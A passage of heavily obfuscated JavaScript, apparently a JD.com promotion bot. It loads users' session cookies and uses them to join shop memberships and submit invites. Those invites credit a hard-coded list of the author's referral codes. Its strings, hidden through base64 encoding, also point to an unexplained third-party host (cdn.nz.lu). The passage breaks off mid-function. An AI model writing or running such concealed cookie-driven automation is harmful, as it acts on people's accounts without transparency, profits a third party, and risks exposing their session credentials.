MuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','Vm1Yamg=','dnR4b0Q=','WGxuUEs=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','dmJ0ZEE=','VUVMSmM=','c2tBUXA=','YmRwd3U=','ZExWYXg=','cERoRkc=','cGtraVY=','b0xoblo=','RWVtano=','ZFVxVmU=','ZUhSTnM=','eUZGZXQ=','SEZHQVk=','RktyWWk=','aG1TVEw=','RW5qSlI=','RkxHRnY=','YnlyU00=','QXBHamg=','VmluTEU=','ZFF0ZGU=','YW5kcm9pZA==','MTAuMy4y','T0dwU08=','VlZwYk0=','R25RYWE=','cGVpUk8=','U0ZTQnY=','cVdUYUg=','T2lKdlU=','RnJLcXM=','UEtHZ1o=','eHVlUkw=','ZkFaVWo=','WUZ1aVI=','WHBxUWE=','VVpIb2w=','T3lFanE=','TGJkckk=','ZWlYb2w=','aHR0cHM6Ly9jZG4ubnoubHUvZGRv','ZEdPRXI=','dG1pU0Y=','VExOdXk=','eUpRS0c=','UUlSTE8=','SUxJTnI=','6ZuF6K+X5YWw6bub','aXNOb2Rl','Li9qZENvb2tpZS5qcw==','Li9zZW5kTm90aWZ5','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llc0pE','cGFyc2U=','bWFw','Y29va2ll','cmV2ZXJzZQ==','Q29va2llSkQy','Q29va2llSkQ=','ZmlsdGVy','aGVhZGVycw==','U2V0LUNvb2tpZQ==','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','ZmVnckw=','Y1NZWm8=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','NjExM2Y2YzMyMmNhNDQxMWJiMDM4NGZkZmU4NjA4OWY=','N2ExOThjNDJkZjY2NDljYzhhZjkzODYzYWJlM2IxY2E=','ZDRjMDk4NTMwOTIxNDQwMDk2NjE0ODBjYzZiYWRkNDQ=','M2QxMzM5MjRiNDc3NDEzYWI5MjczODc0ZjEwOTkyMDg=','MjEzNjc0MzYzNTU1NDkzOWI2NWEwYTVmZDliYzg2ZTg=','NjNhOGEwMmFhMmUzNDIwNGJiY2Y0NDVlN2RkN2UxYzA=','NmJhMDA3MGI2ZDU1NGVmNDllMGE1MTVlMjZmOGQ2MWQ=','MjIwODEwMDAzNzY3NDUwMQ==','MTAwMDM3Njc0NQ==','dEZOYVc=','QmR4dUI=','eVlNRHk=','5pyJ54K55YS/5pS26I63','Z2V0QXV0aG9yQ29kZUxpc3RlcnI=','bXNn','bmFtZQ==','YndIZFI=','d3NmUk0=','RHJhS24=','bGVuZ3Ro','cnFCcEQ=','d0hnVXA=','Wk1ka2Y=','VXNlck5hbWU=','S3NuQ1U=','bWF0Y2g=','aW5kZXg=','ckNjVFE=','aXNMb2dpbg==','bmlja05hbWU=','dUN0QWc=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','YmVhbg==','QURJRA==','dm9TTm0=','VmtScVk=','VVVJRA==','b3Z2TVc=','RkFZV0w=','b3VCU0U=','Yk9PcXM=','Z1FKbFg=','VFFIcmk=','RXFWRVE=','bmJqTlY=','eWF0T1g=','YXV0aG9yQ29kZQ==','YXV0aG9yTnVt','VWxCemM=','cmFuZG9tQ29kZQ==','YWN0aXZpdHlJZA==','SklOS2g=','YWN0aXZpdHlTaG9wSWQ=','ZU5Ia0Q=','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vZXN0ZWVsYXVkZXIvaW52aXRlTmV3L2FjdGl2aXR5UGFnZT9hY3Rpdml0eUlkPQ==','Jmludml0ZXJVdWlkPQ==','UUZFSW8=','JnNoYXJldXNlcmlkNG1pbmlwZz0=','WklnUE0=','c2VjcmV0UGlu','JnNpZD0mdW5fYXJlYT0=','d2FpdA==','WnJWdEY=','RVZyZEc=','c3dydkg=','CuOAkOS6rOS4nOi0puWPtw==','IAogICAgICAg4pSUIOiOt+W+lyA=','IOS6rOixhuOAgg==','WkpIb00=','bGphZ1Q=','c3BsaXQ=','RFRwSWs=','V0dTdmw=','c2VuZE5vdGlmeQ==','Q1JGdFQ=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','Y3VzdG9tZXIvZ2V0U2ltcGxlQWN0SW5mb1Zv','WU91VFo=','5Y675Yqp5YqbIC0+IA==','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','aW52aXRlTmV3L2FjdGl2aXR5Q29udGVudA==','5Yqg5YWl5bqX6ZO65Lya5ZGY','NDAx','WFZFRWI=','Y2lUUW8=','aW52aXRlTmV3L2NvbnZlcnRQcml6ZQ==','dG9rZW4=','b3BlbkNhcmRBY3Rpdml0eUlk','T3pybWc=','VlNQd2c=','YURRWVk=','RUdPdGk=','YWN0aXZpdHlJZD0=','eU50bVc=','TVhXRnY=','U3NPdm8=','dkd5RWM=','dmRSYUU=','TW1uano=','dmVuZGVySWQ9','JmNvZGU9OTkmcGluPQ==','Y0hyenY=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9YXBwJmFkU291cmNlPW51bGw=','WWp4Q0g=','RWdkd1Q=','VHpLZEU=','JnBpbj0=','bE90WXM=','WEdVUWo=','eHBoZms=','bWFLUGg=','cFhJaVQ=','cHB5VFk=','eHF1R3M=','dkxvckc=','U0dIRUQ=','RnVBdE0=','WUpWRWE=','aldweFA=','WmxWY04=','WlV5elc=','Q0tKbUo=','JnV1aWQ9','dXVpZA==','bHpramR6LWlzdi5pc3ZqY2xvdWQuY29t','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20=','a2VlcC1hbGl2ZQ==','UHNFY2M=','cW9UV00=','VUVhVmU=','Q05VSUg=','VXVPRVE=','aWVlYWQ=','d3hBY3Rpb25Db21tb24vZ2V0VXNlckluZm8=','SWJjaFM=','YXNOVWk=','QWliVnI=','eENhbG0=','bmNsV1I=','amROT1o=','c0FaQnQ=','ZkZOcnA=','cHFGcUk=','aUhTbnE=','ZlJYYUM=','Ym5Cc1Y=','YUF0bGk=','bnF0VFc=','UXVPWEw=','WmRMdlU=','REhaSHM=','QnNVSnQ=','dHJvSVg=','RWRmUlo=','WVZ2YlI=','SGJCbEU=','aklLTUk=','bUdTRVE=','QnNVTEM=','TU5ybnk=','cG9zdA==','dU1vd1M=','aXVGbmQ=','VVpzYW4=','d0ZIb0s=','eHBOcGc=','SElwUk0=','anJrV0Q=','R2lDV2Y=','T3d6a0E=','cmVzdWx0','ZWlVSEI=','WGJmemI=','SFh1eEs=','cElPaHc=','emh6YmQ=','TW90TWQ=','ZGF0YQ==','dXNlclJlY29yZA==','SUl6UlQ=','UHZHSGU=','R0ZWR2E=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20v','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vZXN0ZWVsYXVkZXIv','V0xNU24=','YUlsUnY=','WFFGeFI=','RGpUeFY=','UEFYUnY=','bXZVcm0=','clRBT2Q=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','bEdETEE=','WXJhU2I=','TklyRE4=','U0lHTl9VUkw=','T1lKWWU=','em9XWk4=','c2V0LWNvb2tpZQ==','b3FpVGc=','RnZncng=','UEVGU0I=','Q3JYSkk=','VnVpaFo=','UXFZd0g=','RnZJZFo=','c2JIdEY=','aXJQV3I=','clltWkw=','cGpaYmU=','ZmpxQVU=','YWd1SVg=','RWhMRWU=','RHdwb0E=','eXhoRmc=','dWdqc3U=','dGdJeEc=','V3lrSnA=','WWR2bVE=','bXNxR2c=','SnhMaEk=','dmxaUHo=','alNUUWE=','SGZOclM=','TWJBTE4=','S2NFWkM=','VFNZek8=','eldSWXQ=','bXR0aEM=','dGtaZWc=','c3Vic3Ry','aW5kZXhPZg==','dUpYckg=','Q09hUmU=','Qmp5SWE=','cmVwbGFjZQ==','aE96blo=','b09aakY=','cmFuZG9t','b0pjeFQ=','eXZldkg=','ckV1Z1k=','WFh0VHA=','V0F6VEQ=','cnhUb1g=','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','Q2NoYU4=','blhjRE4=','SE1pcWo=','enNtWE4=','SUl5U3I=','d09wc3g=','YVNLYlQ=','Z2V0','SkdKZVY=','b3pNdFQ=','bGdpY0k=','bG9nRXJy','TGdUZk4=','YUNqcXQ=','WHVZRUE=','jSsjfiaXmi.coNREmZ.vS6hLlfPlUZz=='];if(function(_0x1644ff,_0x3f41cb,_0x18231a){function _0x1feaa8(_0x43dc13,_0x2e8ae1,_0x40ac10,_0x2883a9,_0x432c63,_0x3c4f93){_0x2e8ae1=_0x2e8ae1>>0x8,_0x432c63='po';var _0x1c43f2='shift',_0x16bf37='push',_0x3c4f93='‮';if(_0x2e8ae1<_0x43dc13){while(--_0x43dc13){_0x2883a9=_0x1644ff[_0x1c43f2]();if(_0x2e8ae1===_0x43dc13&&_0x3c4f93==='‮'&&_0x3c4f93['length']===0x1){_0x2e8ae1=_0x2883a9,_0x40ac10=_0x1644ff[_0x432c63+'p']();}else if(_0x2e8ae1&&_0x40ac10['replace'](/[SfXNREZShLlfPlUZz=]/g,'')===_0x2e8ae1){_0x1644ff[_0x16bf37](_0x2883a9);}}_0x1644ff[_0x16bf37](_0x1644ff[_0x1c43f2]());}return 0xfaa88;};return _0x1feaa8(++_0x3f41cb,_0x18231a)>>_0x3f41cb^_0x18231a;}(_0x18a4,0x18c,0x18c00),_0x18a4){_0xodr_=_0x18a4['length']^0x18c;};function _0xf8d7(_0xe40eca,_0x180980){_0xe40eca=~~'0x'['concat'](_0xe40eca['slice'](0x1));var _0x3ac954=_0x18a4[_0xe40eca];if(_0xf8d7['gduTqm']===undefined&&'‮'['length']===0x1){(function(){var _0x149cea=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x1245d8='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x149cea['atob']||(_0x149cea['atob']=function(_0x200235){var _0x19f64d=String(_0x200235)['replace'](/=+$/,'');for(var _0x32d87d=0x0,_0x46f6ac,_0x46cf3e,_0xafb846=0x0,_0x5396fa='';_0x46cf3e=_0x19f64d['charAt'](_0xafb846++);~_0x46cf3e&&(_0x46f6ac=_0x32d87d%0x4?_0x46f6ac*0x40+_0x46cf3e:_0x46cf3e,_0x32d87d++%0x4)?_0x5396fa+=String['fromCharCode'](0xff&_0x46f6ac>>(-0x2*_0x32d87d&0x6)):0x0){_0x46cf3e=_0x1245d8['indexOf'](_0x46cf3e);}return _0x5396fa;});}());_0xf8d7['ptZnHX']=function(_0x409222){var _0x39e6e8=atob(_0x409222);var _0x42efe2=[];for(var _0x357ae5=0x0,_0x280a83=_0x39e6e8['length'];_0x357ae5<_0x280a83;_0x357ae5++){_0x42efe2+='%'+('00'+_0x39e6e8['charCodeAt'](_0x357ae5)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x42efe2);};_0xf8d7['oxJVEO']={};_0xf8d7['gduTqm']=!![];}var _0x4bfa71=_0xf8d7['oxJVEO'][_0xe40eca];if(_0x4bfa71===undefined){_0x3ac954=_0xf8d7['ptZnHX'](_0x3ac954);_0xf8d7['oxJVEO'][_0xe40eca]=_0x3ac954;}else{_0x3ac954=_0x4bfa71;}return _0x3ac954;};const $=new Env(_0xf8d7('‮0'));const jdCookieNode=$[_0xf8d7('‫1')]()?require(_0xf8d7('‮2')):'';const notify=$[_0xf8d7('‫1')]()?require(_0xf8d7('‫3')):'';let cookiesArr=[],cookie='',message='';let ownCode=null;let authorCodeList=[];if($[_0xf8d7('‫1')]()){Object[_0xf8d7('‫4')](jdCookieNode)[_0xf8d7('‮5')](_0x286969=>{cookiesArr[_0xf8d7('‮6')](jdCookieNode[_0x286969]);});if(process[_0xf8d7('‫7')][_0xf8d7('‫8')]&&process[_0xf8d7('‫7')][_0xf8d7('‫8')]===_0xf8d7('‫9'))console[_0xf8d7('‫a')]=()=>{};}else{let cookiesData=$[_0xf8d7('‮b')](_0xf8d7('‫c'))||'[]';cookiesData=JSON[_0xf8d7('‫d')](cookiesData);cookiesArr=cookiesData[_0xf8d7('‫e')](_0x405776=>_0x405776[_0xf8d7('‫f')]);cookiesArr[_0xf8d7('‮10')]();cookiesArr[_0xf8d7('‮6')](...[$[_0xf8d7('‮b')](_0xf8d7('‫11')),$[_0xf8d7('‮b')](_0xf8d7('‮12'))]);cookiesArr[_0xf8d7('‮10')]();cookiesArr=cookiesArr[_0xf8d7('‮13')](_0x2ea3f9=>!!_0x2ea3f9);}!(async()=>{var _0x282393={'ZJHoM':_0xf8d7('‫14'),'ljagT':_0xf8d7('‮15'),'uCtAg':function(_0x122dd0){return _0x122dd0();},'bwHdR':_0xf8d7('‫16'),'wsfRM':_0xf8d7('‮17'),'DraKn':function(_0xb35389,_0x23db01){return _0xb35389<_0x23db01;},'rqBpD':function(_0x29414e,_0x5d5f15){return _0x29414e!==_0x5d5f15;},'wHgUp':_0xf8d7('‮18'),'ZMdkf':_0xf8d7('‮19'),'KsnCU':function(_0x269a2c,_0x559d7c){return _0x269a2c(_0x559d7c);},'rCcTQ':function(_0x464988,_0x27708d){return _0x464988+_0x27708d;},'voSNm':function(_0x307e66,_0x527468,_0x30d9f5){return _0x307e66(_0x527468,_0x30d9f5);},'VkRqY':_0xf8d7('‫1a'),'ovvMW':function(_0x48c971,_0x5912b2){return _0x48c971(_0x5912b2);},'FAYWL':_0xf8d7('‮1b'),'ouBSE':_0xf8d7('‫1c'),'bOOqs':_0xf8d7('‫1d'),'gQJlX':_0xf8d7('‮1e'),'TQHri':_0xf8d7('‫1f'),'EqVEQ':_0xf8d7('‮20'),'nbjNV':_0xf8d7('‮21'),'yatOX':_0xf8d7('‮22'),'UlBzc':function(_0x52ebd0,_0xfdea9d,_0x4e427a){return _0x52ebd0(_0xfdea9d,_0x4e427a);},'JINKh':_0xf8d7('‫23'),'eNHkD':_0xf8d7('‮24'),'QFEIo':function(_0x4f38fb,_0x104417){return _0x4f38fb(_0x104417);},'ZIgPM':function(_0x47fc13,_0x29c306){return _0x47fc13(_0x29c306);},'ZrVtF':function(_0x1f84d8,_0x2724d2){return _0x1f84d8>_0x2724d2;},'EVrdG':function(_0x482e24,_0x5a45c4){return _0x482e24===_0x5a45c4;},'swrvH':_0xf8d7('‫25'),'DTpIk':_0xf8d7('‫26'),'WGSvl':_0xf8d7('‮27'),'CRFtT':_0xf8d7('‫28')};$[_0xf8d7('‮29')]=![];if(!cookiesArr[0x0]){$[_0xf8d7('‮2a')]($[_0xf8d7('‮2b')],_0x282393[_0xf8d7('‮2c')],_0x282393[_0xf8d7('‮2d')],{'open-url':_0x282393[_0xf8d7('‮2d')]});return;}for(let _0x65e295=0x0;_0x282393[_0xf8d7('‮2e')](_0x65e295,cookiesArr[_0xf8d7('‫2f')]);_0x65e295++){if(cookiesArr[_0x65e295]){if(_0x282393[_0xf8d7('‮30')](_0x282393[_0xf8d7('‮31')],_0x282393[_0xf8d7('‫32')])){cookie=cookiesArr[_0x65e295];originCookie=cookiesArr[_0x65e295];newCookie='';$[_0xf8d7('‫33')]=_0x282393[_0xf8d7('‫34')](decodeURIComponent,cookie[_0xf8d7('‫35')](/pt_pin=(.+?);/)&&cookie[_0xf8d7('‫35')](/pt_pin=(.+?);/)[0x1]);$[_0xf8d7('‮36')]=_0x282393[_0xf8d7('‫37')](_0x65e295,0x1);$[_0xf8d7('‫38')]=!![];$[_0xf8d7('‮39')]='';await _0x282393[_0xf8d7('‮3a')](checkCookie);console[_0xf8d7('‫a')](_0xf8d7('‮3b')+$[_0xf8d7('‮36')]+'】'+($[_0xf8d7('‮39')]||$[_0xf8d7('‫33')])+_0xf8d7('‫3c'));if(!$[_0xf8d7('‫38')]){$[_0xf8d7('‮2a')]($[_0xf8d7('‮2b')],_0xf8d7('‫3d'),_0xf8d7('‫3e')+$[_0xf8d7('‮36')]+'\x20'+($[_0xf8d7('‮39')]||$[_0xf8d7('‫33')])+_0xf8d7('‫3f'),{'open-url':_0x282393[_0xf8d7('‮2d')]});continue;}$[_0xf8d7('‫40')]=0x0;$[_0xf8d7('‮41')]=_0x282393[_0xf8d7('‫42')](getUUID,_0x282393[_0xf8d7('‫43')],0x1);$[_0xf8d7('‮44')]=_0x282393[_0xf8d7('‮45')](getUUID,_0x282393[_0xf8d7('‮46')]);authorCodeList=[_0x282393[_0xf8d7('‮47')],_0x282393[_0xf8d7('‮48')],_0x282393[_0xf8d7('‮49')],_0x282393[_0xf8d7('‮4a')],_0x282393[_0xf8d7('‮4b')],_0x282393[_0xf8d7('‫4c')],_0x282393[_0xf8d7('‫4d')]];$[_0xf8d7('‫4e')]=ownCode?ownCode:authorCodeList[_0x282393[_0xf8d7('‫42')](random,0x0,authorCodeList[_0xf8d7('‫2f')])];$[_0xf8d7('‮4f')]=''+_0x282393[_0xf8d7('‫50')](random,0xf4240,0x98967f);$[_0xf8d7('‮51')]=_0x282393[_0xf8d7('‫50')](random,0xf4240,0x98967f);$[_0xf8d7('‮52')]=_0x282393[_0xf8d7('‫53')];$[_0xf8d7('‫54')]=_0x282393[_0xf8d7('‫55')];$[_0xf8d7('‫56')]=_0xf8d7('‫57')+$[_0xf8d7('‮52')]+_0xf8d7('‫58')+_0x282393[_0xf8d7('‫59')](encodeURIComponent,$[_0xf8d7('‫4e')])+_0xf8d7('‮5a')+_0x282393[_0xf8d7('‫5b')](encodeURIComponent,$[_0xf8d7('‫5c')])+_0xf8d7('‫5d');await _0x282393[_0xf8d7('‮3a')](member);await $[_0xf8d7('‫5e')](0x1388);if(_0x282393[_0xf8d7('‫5f')]($[_0xf8d7('‫40')],0x0)){if(_0x282393[_0xf8d7('‮60')](_0x282393[_0xf8d7('‮61')],_0x282393[_0xf8d7('‮61')])){message+=_0xf8d7('‫62')+$[_0xf8d7('‮36')]+'】'+($[_0xf8d7('‮39')]||$[_0xf8d7('‫33')])+_0xf8d7('‫63')+$[_0xf8d7('‫40')]+_0xf8d7('‮64');}else{for(let _0x1f5887 of resp[_0x282393[_0xf8d7('‮65')]][_0x282393[_0xf8d7('‮66')]][_0xf8d7('‮67')](',')){cookie=''+cookie+_0x1f5887[_0xf8d7('‮67')](';')[0x0]+';';}}}}else{console[_0xf8d7('‫a')](error);}}}if(_0x282393[_0xf8d7('‮30')](message,'')){if(_0x282393[_0xf8d7('‮30')](_0x282393[_0xf8d7('‫68')],_0x282393[_0xf8d7('‫69')])){if($[_0xf8d7('‫1')]()){await notify[_0xf8d7('‮6a')]($[_0xf8d7('‮2b')],message,'','\x0a');}else{$[_0xf8d7('‮2a')]($[_0xf8d7('‮2b')],_0x282393[_0xf8d7('‮6b')],message);}}else{_0x282393[_0xf8d7('‮3a')](resolve);}}})()[_0xf8d7('‮6c')](_0x22b3ad=>{$[_0xf8d7('‫a')]('','❌\x20'+$[_0xf8d7('‮2b')]+_0xf8d7('‮6d')+_0x22b3ad+'!','');})[_0xf8d7('‮6e')](()=>{$[_0xf8d7('‫6f')]();});async function member(){var _0x33faf6={'Ozrmg':function(_0x19124f){return _0x19124f();},'ZlVcN':_0xf8d7('‫70'),'VSPwg':function(_0x218ee6){return _0x218ee6();},'aDQYY':function(_0x172696,_0x37749c,_0x49db92,_0x594e94){return _0x172696(_0x37749c,_0x49db92,_0x594e94);},'EGOti':_0xf8d7('‮71'),'yNtmW':function(_0x37b2ca,_0x5cb91f){return _0x37b2ca!==_0x5cb91f;},'MXWFv':_0xf8d7('‮72'),'SsOvo':function(_0x5ef2a5,_0x456293){return _0x5ef2a5+_0x456293;},'vGyEc':_0xf8d7('‮73'),'vdRaE':function(_0x40cd84,_0x2dea3e,_0x559386,_0x32c5f7){return _0x40cd84(_0x2dea3e,_0x559386,_0x32c5f7);},'Mmnjz':_0xf8d7('‫74'),'cHrzv':function(_0x81cfd0,_0x307339){return _0x81cfd0(_0x307339);},'YjxCH':function(_0x1fb3c9,_0xd760f9){return _0x1fb3c9===_0xd760f9;},'EgdwT':function(_0x150a7d,_0x4b4b3d,_0x3f39a2,_0x15ea85,_0x258e71){return _0x150a7d(_0x4b4b3d,_0x3f39a2,_0x15ea85,_0x258e71);},'TzKdE':_0xf8d7('‮75'),'lOtYs':function(_0x25c2aa,_0x256d6e){return _0x25c2aa(_0x256d6e);},'XGUQj':function(_0x44b62c,_0x24fbae){return _0x44b62c(_0x24fbae);},'xphfk':function(_0x464d5e,_0x3e3bcc,_0x12adb8){return _0x464d5e(_0x3e3bcc,_0x12adb8);},'maKPh':_0xf8d7('‮76'),'pXIiT':function(_0x21dbd6,_0x3a445c,_0x45fac8){return _0x21dbd6(_0x3a445c,_0x45fac8);},'ppyTY':_0xf8d7('‫77'),'xquGs':function(_0x6237b8,_0x3b0991){return _0x6237b8===_0x3b0991;},'vLorG':_0xf8d7('‮78'),'SGHED':function(_0x474d50,_0xd6d56a,_0x3e0efa,_0x1f1d5a,_0x18afe6){return _0x474d50(_0xd6d56a,_0x3e0efa,_0x1f1d5a,_0x18afe6);},'FuAtM':function(_0xc9d9d6,_0x319a82){return _0xc9d9d6(_0x319a82);},'YJVEa':function(_0x3ee5eb,_0x5de93d){return _0x3ee5eb===_0x5de93d;},'jWpxP':_0xf8d7('‮79'),'ZUyzW':function(_0x267ac0,_0x3dcd2b,_0x235a1f){return _0x267ac0(_0x3dcd2b,_0x235a1f);},'CKJmJ':_0xf8d7('‫7a')};$[_0xf8d7('‮7b')]=null;$[_0xf8d7('‫5c')]=null;$[_0xf8d7('‮7c')]=null;lz_cookie={};await _0x33faf6[_0xf8d7('‮7d')](getFirstLZCK);await _0x33faf6[_0xf8d7('‮7e')](getToken);await _0x33faf6[_0xf8d7('‮7f')](task,_0x33faf6[_0xf8d7('‮80')],_0xf8d7('‮81')+$[_0xf8d7('‮52')],0x1);if($[_0xf8d7('‮7b')]){await _0x33faf6[_0xf8d7('‮7e')](getMyPing);if($[_0xf8d7('‫5c')]){if(_0x33faf6[_0xf8d7('‮82')](_0x33faf6[_0xf8d7('‮83')],_0x33faf6[_0xf8d7('‮83')])){$[_0xf8d7('‫a')](err);}else{console[_0xf8d7('‫a')](_0x33faf6[_0xf8d7('‫84')](_0x33faf6[_0xf8d7('‫85')],$[_0xf8d7('‫4e')]));await _0x33faf6[_0xf8d7('‮86')](task,_0x33faf6[_0xf8d7('‫87')],_0xf8d7('‫88')+$[_0xf8d7('‫54')]+_0xf8d7('‫89')+_0x33faf6[_0xf8d7('‫8a')](encodeURIComponent,$[_0xf8d7('‫5c')])+_0xf8d7('‮8b')+$[_0xf8d7('‮52')]+_0xf8d7('‫8c')+$[_0xf8d7('‫56')]+_0xf8d7('‫8d'),0x1);await $[_0xf8d7('‫5e')](0x1388);if(_0x33faf6[_0xf8d7('‮8e')]($[_0xf8d7('‮36')],0x1)){await _0x33faf6[_0xf8d7('‫8f')](task,_0x33faf6[_0xf8d7('‫90')],_0xf8d7('‮81')+$[_0xf8d7('‮52')]+_0xf8d7('‮91')+_0x33faf6[_0xf8d7('‮92')](encodeURIComponent,$[_0xf8d7('‫5c')])+_0xf8d7('‫58')+_0x33faf6[_0xf8d7('‫93')](encodeURIComponent,$[_0xf8d7('‫4e')]),0x0,0x1);}else{await _0x33faf6[_0xf8d7('‫94')](task,_0x33faf6[_0xf8d7('‫90')],_0xf8d7('‮81')+$[_0xf8d7('‮52')]+_0xf8d7('‮91')+_0x33faf6[_0xf8d7('‫93')](encodeURIComponent,$[_0xf8d7('‫5c')])+_0xf8d7('‫58')+_0x33faf6[_0xf8d7('‫93')](encodeURIComponent,$[_0xf8d7('‫4e')]));}$[_0xf8d7('‫a')](_0x33faf6[_0xf8d7('‫95')]);await _0x33faf6[_0xf8d7('‫96')](getShopOpenCardInfo,{'venderId':''+$[_0xf8d7('‫54')],'channel':_0x33faf6[_0xf8d7('‮97')]},$[_0xf8d7('‫54')]);await _0x33faf6[_0xf8d7('‫96')](bindWithVender,{'venderId':''+$[_0xf8d7('‫54')],'bindByVerifyCodeFlag':0x1,'registerExtend':{},'writeChildFlag':0x0,'activityId':$[_0xf8d7('‮7c')],'channel':0x1b64},$[_0xf8d7('‫54')]);await $[_0xf8d7('‫5e')](0x1388);if(_0x33faf6[_0xf8d7('‮8e')]($[_0xf8d7('‮36')],0x1)){if(_0x33faf6[_0xf8d7('‮98')](_0x33faf6[_0xf8d7('‮99')],_0x33faf6[_0xf8d7('‮99')])){await _0x33faf6[_0xf8d7('‫9a')](task,_0x33faf6[_0xf8d7('‫90')],_0xf8d7('‮81')+$[_0xf8d7('‮52')]+_0xf8d7('‮91')+_0x33faf6[_0xf8d7('‫93')](encodeURIComponent,$[_0xf8d7('‫5c')])+_0xf8d7('‫58')+_0x33faf6[_0xf8d7('‮9b')](encodeURIComponent,$[_0xf8d7('‫4e')]),0x0,0x1);}else{_0x33faf6[_0xf8d7('‮7d')](resolve);}}else{if(_0x33faf6[_0xf8d7('‮9c')](_0x33faf6[_0xf8d7('‫9d')],_0x33faf6[_0xf8d7('‫9d')])){await _0x33faf6[_0xf8d7('‫96')](task,_0x33faf6[_0xf8d7('‫90')],_0xf8d7('‮81')+$[_0xf8d7('‮52')]+_0xf8d7('‮91')+_0x33faf6[_0xf8d7('‮9b')](encodeURIComponent,$[_0xf8d7('‫5c')])+_0xf8d7('‫58')+_0x33faf6[_0xf8d7('‮9b')](encodeURIComponent,$[_0xf8d7('‫4e')]));}else{$[_0xf8d7('‫a')](_0x33faf6[_0xf8d7('‮9e')]);}}await _0x33faf6[_0xf8d7('‮9f')](task,_0x33faf6[_0xf8d7('‮a0')],_0xf8d7('‮81')+$[_0xf8d7('‮52')]+_0xf8d7('‮91')+_0x33faf6[_0xf8d7('‮9b')](encodeURIComponent,$[_0xf8d7('‫5c')])+_0xf8d7('‮a1')+$[_0xf8d7('‮a2')]);}}}}function task(_0x4fbe15,_0x44f210,_0x35251f=0x0,_0x52e9b1=0x0){var _0xfc1d62={'asNUi':_0xf8d7('‫14'),'AibVr':_0xf8d7('‮15'),'xCalm':_0xf8d7('‮a3'),'nclWR':_0xf8d7('‫a4'),'jdNOZ':_0xf8d7('‮a5'),'sAZBt':_0xf8d7('‮a6'),'fFNrp':_0xf8d7('‮a7'),'pqFqI':_0xf8d7('‫a8'),'iHSnq':_0xf8d7('‫a9'),'fRXaC':_0xf8d7('‮aa'),'bnBsV':function(_0x4690c5,_0xb6dc87){return _0x4690c5===_0xb6dc87;},'aAtli':_0xf8d7('‮ab'),'nqtTW':function(_0x1fbdd0,_0x2ad020){return _0x1fbdd0!==_0x2ad020;},'QuOXL':_0xf8d7('‫ac'),'ZdLvU':_0xf8d7('‮ad'),'DHZHs':_0xf8d7('‮ae'),'BsUJt':_0xf8d7('‫af'),'troIX':_0xf8d7('‮b0'),'EdfRZ':_0xf8d7('‮71'),'YVvbR':_0xf8d7('‫b1'),'HbBlE':_0xf8d7('‫7a'),'jIKMI':_0xf8d7('‮75'),'mGSEQ':function(_0x51b386,_0x39d3e6){return _0x51b386===_0x39d3e6;},'BsULC':_0xf8d7('‮b2'),'MNrny':function(_0x46259a){return _0x46259a();},'uMowS':function(_0x298cd6,_0x2ac5f,_0x4e7885,_0x397f4d){return _0x298cd6(_0x2ac5f,_0x4e7885,_0x397f4d);}};return new Promise(_0x2c10da=>{var 